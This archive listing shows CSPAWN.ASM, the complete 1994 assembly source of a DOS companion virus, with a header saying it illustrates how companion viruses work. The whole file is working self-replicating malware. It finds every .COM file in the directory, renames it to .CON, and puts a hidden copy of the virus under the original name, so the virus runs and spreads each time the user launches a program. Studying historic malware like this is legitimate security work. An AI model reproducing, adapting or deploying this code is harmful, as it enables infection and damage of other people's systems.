home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / CSPAWN / CSPAWN.ASM next >
Encoding:
Assembly Source File  |  1994-09-30  |  4.7 KB  |  106 lines

  1. ;The CSPAWN virus is a simple companion virus to illustrate how a companion
  2. ;virus works.
  3. ;
  4. ;(C) 1994 American Eagle Publications, Inc. All Rights Reserved!
  5.  
  6. .model  tiny
  7. .code
  8.                 org     0100h
  9.  
  10. CSPAWN:
  11.                 mov     sp,OFFSET FINISH + 100H         ;Change top of stack
  12.                 mov     ah,4AH                          ;DOS resize memory fctn
  13.                 mov     bx,sp
  14.                 mov     cl,4
  15.                 shr     bx,cl
  16.                 inc     bx                              ;BX holds # of para to keep
  17.                 int     21H
  18.  
  19.                 mov     bx,2CH                          ;set up EXEC param block
  20.                 mov     ax,[bx]
  21.                 mov     WORD PTR [PARAM_BLK],ax         ;environment segment
  22.                 mov     ax,cs
  23.                 mov     WORD PTR [PARAM_BLK+4],ax       ;@ of parameter string
  24.                 mov     WORD PTR [PARAM_BLK+8],ax       ;@ of FCB1
  25.                 mov     WORD PTR [PARAM_BLK+12],ax      ;@ of FCB2
  26.  
  27.                 mov     dx,OFFSET REAL_NAME     ;prep to EXEC
  28.                 mov     bx,OFFSET PARAM_BLK
  29.                 mov     ax,4B00H
  30.                 int     21H                     ;execute host
  31.  
  32.                 cli
  33.                 mov     bx,ax                   ;save return code here
  34.                 mov     ax,cs                   ;AX holds code segment
  35.                 mov     ss,ax                   ;restore stack first
  36.                 mov     sp,(FINISH - CSPAWN) + 200H
  37.                 sti
  38.                 push    bx
  39.                 mov     ds,ax                   ;Restore data segment
  40.                 mov     es,ax                   ;Restore extra segment
  41.  
  42.                 mov     ah,1AH                  ;DOS set DTA function
  43.                 mov     dx,80H                  ;put DTA at offset 80H
  44.                 int     21H
  45.                 call    FIND_FILES              ;Find and infect files
  46.  
  47.                 pop     ax                      ;AL holds return value
  48.                 mov     ah,4CH                  ;DOS terminate function
  49.                 int     21H                     ;bye-bye
  50.  
  51.  
  52. ;The following routine searches for COM files and infects them
  53. FIND_FILES:
  54.                 mov     dx,OFFSET COM_MASK      ;search for COM files
  55.                 mov     ah,4EH                  ;DOS find first file function
  56.                 xor     cx,cx                   ;CX holds all file attributes
  57. FIND_LOOP:      int     21H
  58.                 jc      FIND_DONE               ;Exit if no files found
  59.                 call    INFECT_FILE             ;Infect the file!
  60.                 mov     ah,4FH                  ;DOS find next file function
  61.                 jmp     FIND_LOOP               ;Try finding another file
  62. FIND_DONE:      ret                             ;Return to caller
  63.  
  64. COM_MASK        db      '*.COM',0               ;COM file search mask
  65.  
  66. ;This routine infects the file specified in the DTA.
  67. INFECT_FILE:
  68.                 mov     si,9EH                  ;DTA + 1EH
  69.                 mov     di,OFFSET REAL_NAME     ;DI points to new name
  70. INF_LOOP:       lodsb                           ;Load a character
  71.                 stosb                           ;and save it in buffer
  72.                 or      al,al                   ;Is it a NULL?
  73.                 jnz     INF_LOOP                ;If so then leave the loop
  74.                 mov     WORD PTR [di-2],'N'     ;change name to CON & zero termimate
  75.                 mov     dx,9EH                  ;DTA + 1EH
  76.                 mov     di,OFFSET REAL_NAME
  77.                 mov     ah,56H                  ;rename original file
  78.                 int     21H
  79.                 jc      INF_EXIT                ;if can't rename, already done
  80.  
  81.                 mov     ah,3CH                  ;DOS create file function
  82.                 mov     cx,2                    ;set hidden attribute
  83.                 int     21H
  84.                 mov     bx,ax                   ;BX holds file handle
  85.  
  86.                 mov     ah,40H                  ;DOS write to file function
  87.                 mov     cx,FINISH - CSPAWN      ;CX holds virus length
  88.                 mov     dx,OFFSET CSPAWN        ;DX points to CSPAWN of virus
  89.                 int     21H
  90.  
  91.                 mov     ah,3EH                  ;DOS close file function
  92.                 int     21H
  93. INF_EXIT:       ret
  94.  
  95. REAL_NAME       db      13 dup (?)              ;Name of host to execute
  96.  
  97. ;DOS EXEC function parameter block
  98. PARAM_BLK       DW      ?                       ;environment segment
  99.                 DD      80H                     ;@ of command line
  100.                 DD      5CH                     ;@ of first FCB
  101.                 DD      6CH                     ;@ of second FCB
  102.  
  103. FINISH:
  104.  
  105.                 end     CSPAWN
  106.